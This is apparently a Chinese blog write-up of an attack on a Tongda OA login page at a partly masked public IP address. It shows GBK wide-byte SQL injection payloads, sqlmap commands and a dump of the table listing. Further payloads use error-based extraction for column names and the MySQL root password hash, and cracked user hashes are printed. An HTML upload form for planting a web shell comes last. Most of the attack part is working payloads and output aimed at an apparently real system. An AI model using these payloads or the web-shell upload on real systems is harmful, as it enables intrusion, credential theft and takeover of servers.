注入测试

注入点，单引号被转义
POST http://211.137.*.*/logincheck.php
PASSWORD=1111&UNAME=admin

TESTING01 测试宽字节

PASSWORD=1111&UNAME=1%bf'

#1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘1縗’’’ at line 1
SQL语句: SELECT * from USER where USER_ID='1縗'' or BYNAME='1縗''
文件: D:/myoa/webroot/logincheck.php

1
2
3
4
5
6
7
8
Note
为了阻止SQL注入，php引入了magic_quotes_gpc，当打开时会对单引号，双引号，反斜线和 NULL字符自动转义。但是当数据库是GBK编码，就会导致宽字节注入。
转义引号\'
PASSWORD=123456&UNAME=admin%bf\'
 ---------------------
|\ ==> %5C            |
|当 %bf5c会解码成 縗  |
 ---------------------
TESTING02 闭合语句

PASSWORD=123456&UNAME=admin%bf%5C'

SQL语句: SELECT * from USER where USER_ID='admin縗'' or BYNAME='admin縗''

但是系统多加了一个引号’导致语句出错，我们使用#（%23）注释掉后面的语句。

PASSWORD=123456&UNAME=admin%bf'%23

SQL语句: SELECT * from USER where USER_ID='admin縗'#' or BYNAME='admin縗'#'

TESTING03 处理插入语句报错

select登陆查询语句成功执行，未报错，但是登陆日志插入语句报语法错误。

#1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’ at line 1
SQL语句: insert into SYS_LOG (USER_ID,TIME,IP,TYPE,REMARK) values ('admin縗'#','2015-09-04 13:41:11','27.211.123.74','10','USERNAME=admin縗'#')
文件: D:/myoa/webroot/logincheck.php

使用注释构造插入语句
PASSWORD=123456&UNAME=admin%bf',2,3,4)%23

#1136: Column count doesn’t match value count at row 1
SQL语句: insert into SYS_LOG (USER_ID,TIME,IP,TYPE,REMARK) values ('admin縗',2,3,4)#','2015-09-04 13:50:55','27.211.123.74','10','USERNAME=admin縗',2,3,4)#')
文件: D:/myoa/webroot/logincheck.php

提示列数不对，插入少了一个字段，添加一个值后无报错。

PAYLOAD
PASSWORD=123456&UNAME=admin%bf',2,3,4,5)%23

尝试写SHELL

判断列数
PASSWORD=123456&UNAME=admin%bf' order by 1%23

使用列最大值判断是否出错
PASSWORD=123456&UNAME=admin%bf' order by 100%23

#1054: Unknown column ‘100’ in ‘order clause’
SQL语句: SELECT * from USER where USER_ID='admin縗' order by 100#' or BYNAME='admin縗' order by 100#'
文件: D:/myoa/webroot/logincheck.php

不报错字段77，卧槽77啊
PASSWORD=123456&UNAME=admin%bf' order by 77%23
PASSWORD=123456&UNAME=admin%bf' and 1=2 union all select 123456,admin縗%23
PASSWORD=123456&UNAME=admin%bf' and 1=2 union all select 1,2,3,4,5,6,7,8,9,10,11,...,74,75,76,77 into outfile "D:/myoa/webroot/r1.txt"%23
返回空白（可能没有写入权限或者目录不可写）

sqlmap添加*自动跑库

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
python sqlmap.py -u "http://211.137.*.*/logincheck.php" --data="PASSWORD=123456&UNAME=admin%bf'*%23" --tables
web server operating system: Windows
web application technology: PHP 5.2.10, Apache 2.2.22
back-end DBMS: MySQL 5.0
Database: TRAIN
[5 tables]
+---------------------------------------+
| kind                                  |
| pass                                  |
| price                                 |
| station                               |
| train                                 |
+---------------------------------------+
Database: TD_OA
[204 tables]
+---------------------------------------+
| user                                  |
Table: user  //登陆用户数据
[77 columns]
+------------------+------------------+
| Column           | Type             |
+------------------+------------------+
| ADD_HOME         | varchar(200)     |
| AUTHORIZE        | int(11)          |
| AVATAR           | varchar(20)      |
| BBS_COUNTER      | int(11)          |
| BBS_SIGNATURE    | text             |
| BIND_IP          | text             |
| BIRTHDAY         | date             |
| BKGROUND         | text             |
| BP_NO            | varchar(50)      |
| BYNAME           | varchar(20)      |
| CALL_SOUND       | char(2)          |
| CANBROADCAST     | int(11)          |
| CONCERN_USER     | text             |
| DEPT_ID          | int(11)          |
| DEPT_ID_OTHER    | text             |
| DISABLED         | int(11)          |
| DUTY_TYPE        | int(11)          |
| EMAIL            | varchar(50)      |
| EMAIL_CAPACITY   | int(11)          |
| FAX_NO_DEPT      | varchar(50)      |
| FOLDER_CAPACITY  | int(11)          |
| ICQ_NO           | varchar(50)      |
| IS_LUNAR         | char(1)          |
| KEY_SN           | varchar(100)     |
| LAST_PASS_TIME   | datetime         |
| LAST_VISIT_IP    | varchar(100)     |
| LAST_VISIT_TIME  | datetime         |
| LIMIT_LOGIN      | char(1)          |
| MENU_EXPAND      | char(2)          |
| MENU_IMAGE       | varchar(20)      |
| MENU_TYPE        | char(1)          |
| MOBIL_NO         | varchar(50)      |
| MOBIL_NO_HIDDEN  | char(1)          |
| MOBILE_PS1       | varchar(50)      |
| MOBILE_PS2       | varchar(50)      |
| MOBILE_SP        | varchar(50)      |
| MSN              | varchar(200)     |
| MY_RSS           | text             |
| MY_STATUS        | varchar(200)     |
| MYTABLE_LEFT     | varchar(200)     |
| MYTABLE_RIGHT    | varchar(200)     |
| NICK_NAME        | varchar(50)      |
| NOT_LOGIN        | varchar(20)      |
| NOT_VIEW_TABLE   | varchar(20)      |
| NOT_VIEW_USER    | varchar(20)      |
| OICQ_NO          | varchar(50)      |
| ON_STATUS        | char(1)          |
| ONLINE           | int(11)          |
| PANEL            | char(1)          |
| PASSWORD         | varchar(50)      |
| PIC_ID           | int(10) unsigned |
| POST_DEPT        | text             |
| POST_NO_HOME     | varchar(50)      |
| POST_PRIV        | varchar(50)      |
| REMARK           | text             |
| SCORE            | int(11)          |
| SECURE_KEY_SN    | varchar(20)      |
| SEX              | char(1)          |
| SHORTCUT         | text             |
| SHOW_RSS         | char(1)          |
| SMS_ON           | char(1)          |
| TDER_FLAG        | char(1)          |
| TEL_NO_DEPT      | varchar(50)      |
| TEL_NO_HOME      | varchar(50)      |
| THEME            | varchar(10)      |
| UID              | int(11)          |
| UIN              | int(10) unsigned |
| USEING_KEY       | char(2)          |
| USER_DEFINE      | text             |
| USER_ID          | varchar(20)      |
| USER_NAME        | varchar(200)     |
| USER_NO          | int(11)          |
| USER_PRIV        | varchar(10)      |
| USER_PRIV_OTHER  | text             |
| WEATHER_CITY     | varchar(20)      |
| WEBMAIL_CAPACITY | int(11)          |
| WEBMAIL_NUM      | int(11)          |
+------------------+------------------+
| version                               |
| address                               |
| address_group                         |
| affair                                |
| app_config                            |
| app_log                               |
| attachment_edit                       |
| attend_config                         |
| attend_duty                           |
| attend_evection                       |
| attend_holiday                        |
| attend_leave                          |
| attend_manager                        |
| attend_out                            |
| bbs_board                             |
| bbs_comment                           |
| book_info                             |
| book_manage                           |
| book_manager                          |
| book_type                             |
| bs_line                               |
| calendar                              |
| categories_type                       |
| censor_data                           |
| censor_module                         |
| censor_words                          |
| chatroom                              |
| contact                               |
| contract                              |
| contract_line                         |
| countdown                             |
| cp_asset_type                         |
| cp_assetcfg                           |
| cp_cptl_info                          |
| cp_dpct_sub                           |
| cp_prcs_prop                          |
| customer                              |
| department                            |
| dept_map                              |
| diary                                 |
| diary_comment                         |
| diary_comment_reply                   |
| efax_account                          |
| efax_receive_box                      |
| efax_send_box                         |
| email                                 |
| email_body                            |
| email_box                             |
| exam_data                             |
| exam_flow                             |
| exam_paper                            |
| exam_quiz                             |
| exam_quiz_set                         |
| ext_user                              |
| field_date                            |
| fieldsetting                          |
| file_content                          | //？
| file_sort                             |
| flow_form_type                        |
| flow_print_tpl                        |
| flow_process                          |
| flow_query_tpl                        |
| flow_rule                             |
| flow_run                              |
| flow_run_data                         |
| flow_run_feedback                     |
| flow_run_log                          |
| flow_run_prcs                         |
| flow_sort                             |
| flow_timer                            |
| flow_type                             |
| hrms                                  |
| icqcontact_tb                         |
| icqmsgs_tb                            |
| icqservermsg_tb                       |
| interface                             |
| ip_rule                               |
| linkman                               |
| meeting                               |
| meeting_equipment                     |
| meeting_room                          |
| module_priv                           |
| mytable                               |
| netchat                               |
| netdisk                               |
| netmeeting                            |
| news                                  |
| news_comment                          |
| notes                                 |
| notify                                |
| oa_faxassign                          |
| oa_faxbatch                           |
| oa_faxconfig                          |
| oa_faxfeecharge                       |
| oa_faxfeeline                         |
| oa_faxfeeprice                        |
| oa_faxlog                             |
| oa_faxremotehost                      |
| oa_faxs                               |
| oa_faxserverconfig                    |
| oa_faxspecline                        |
| oa_faxtemplates                       |
| oa_options                            |
| oa_source                             |
| oa_source_used                        |
| oa_stamps                             |
| oc_log                                |
| office_products                       |
| office_task                           |
| office_transhistory                   |
| order_line                            |
| picture                               |
| plan_type                             |
| product                               |
| proj_bug                              |
| proj_comment                          |
| proj_cost                             |
| proj_file                             |
| proj_file_log                         |
| proj_file_sort                        |
| proj_forum                            |
| proj_priv                             |
| proj_project                          |
| proj_task                             |
| proj_task_log                         |
| provider                              |
| provider_linkman                      |
| rms_file                              |
| rms_lend                              |
| rms_roll                              |
| rms_roll_room                         |
| rsa_keypair                           |
| sal_data                              |
| sal_flow                              |
| sal_item                              |
| sale_history                          |
| sale_manager                          |
| score_date                            |
| score_flow                            |
| score_group                           |
| score_item                            |
| seal                                  |
| seal_keylic                           |
| seal_log                              |
| secure_key                            |
| service                               |
| sms                                   |
| sms2                                  |
| sms2_priv                             |
| sms3                                  |
| sms_body                              |
| supply_history                        |
| supply_order                          |
| sys_code                              |
| sys_function                          |
| sys_log                               |
| sys_menu                              |
| sys_para                              |
| task                                  |
| train_apply                           |
| train_appoint_muster                  |
| train_assess_data                     |
| train_assess_item                     |
| train_assess_title                    |
| train_courses                         |
| train_ctype                           |
| train_info                            |
| train_mail                            |
| train_manager                         |
| train_newcourse                       |
| train_survey_data                     |
| train_survey_item                     |
| train_survey_title                    |
| train_teachers                        |
| train_ttype                           |
| uni1                                  |
| unit                                  |
| url                                   |
| user_group                            |
| user_map                              |
| user_online                           |
| user_priv                             |
| vehicle                               |
| vehicle_maintenance                   |
| vehicle_operator                      |
| vehicle_usage                         |
| versio1                               |
| vi_flow_run                           |
| vi_user                               |
| vote_data                             |
| vote_item                             |
| vote_title                            |
| webmail                               |
| wiki_ask                              |
| wiki_ask_answer                       |
| wiki_comment                          |
| wiki_info                             |
| winexe                                |
| word_model                            |
| work_detail                           |
| work_person                           |
| work_plan                             |
| zl_file                               |
+---------------------------------------+

python sqlmap.py -u “http://211.137.*.*/logincheck.php“ –data=”PASSWORD=123456&UNAME=admin%bf’*%23” -D TRAIN -T pass –columns

判断列字段个数

1
admin?' AND (SELECT 5821 FROM(SELECT COUNT(*),CONCAT(0x7171717071,(SELECT IFNULL(CAST(COUNT(*) AS CHAR),0x20) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x70617373 AND table_schema=0x545241494e),0x717a767071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)#

1
2
3
4
5
6
7
8
9
10
11
admin?' AND (SELECT 5821 FROM(
SELECT COUNT(*),CONCAT(qqqpq,/*concat函数在连接字符串的时候，只要其中一个是NULL,那么将返回NULL*/
(SELECT IFNULL(CAST(COUNT(*) AS CHAR),0x20) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='pass' AND table_schema='TRAIN'), /*,获取列个数，如果没有就返回空NULL*/
qzvpq,FLOOR(RAND(0)*2))x /*floor：函数只返回整数部分，小数部分舍弃*/
FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x) as a/*这句话的意思是说每个派生出来的表（a）都必须有一个自己的别名*/)#
/*
MySQL 的CAST()和CONVERT()函数可用来获取一个类型的值，并产生另一个类型的值。两者具体的语法如下：
	CAST(value as type);
	CONVERT(value, type);
就是CAST(xxx AS 类型), CONVERT(xxx,类型)。
*/

爆列名

1
2
3
4
5
6
7
8
admin?' AND (SELECT 4909 FROM(SELECT COUNT(*),
CONCAT(0x7171717071,
(SELECT MID((IFNULL(CAST(column_name AS CHAR),0x20)),1,50) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x70617373 AND table_schema=0x545241494e LIMIT 0,1),/*column_name列名，返回不止一个，用limit限制*/
0x717a767071,FLOOR(RAND(0)*2))x 
FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)#
/*SQL MID() 函数用于得到一个字符串的一部分。这个函数被MySQL支持，但不被MS SQL Server和Oracle支持。在SQL Server， Oracle 数据库中，我们可以使用 SQL SUBSTRING函数或者 SQL SUBSTR函数作为替代。*/
SELECT MID(ColumnName, Start [, Length])
FROM TableName

–password 当前用户密码

1
admin?' AND (SELECT 7241 FROM(SELECT COUNT(*),CONCAT(0x7171717071,(SELECT MID((IFNULL(CAST(password AS CHAR),0x20)),1,50) FROM mysql.user LIMIT 0,1),0x717a767071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)#

current user: ‘root@127.0.0.1’
*91AF99F23C3D4ED85140D100433725DFA52BECEE

注入出的用户密码
张* $1$772.CR0.$dlecp6h5kiOsrVX6Id2BY1 ==> md5(unix) 594188

GETSHELL

通达OA后台getshell
http://www.doc88.com/p-1334628630199.html

1
2
3
4
5
6
7
<form id="frmUpload" enctype="multipart/form-data"
action="http://211.137.*.*/general/vmeet/privateUpload.php?fileName=555.php+" method="post">
Upload a new file:<br>
<input type="file" name="Filedata" size="50"><br>
<input type="submit" value="Upload">
<!– http://192.168.56.139/general/vmeet/upload/temp/555.php.111 这里是上传之后的网马–>
</form>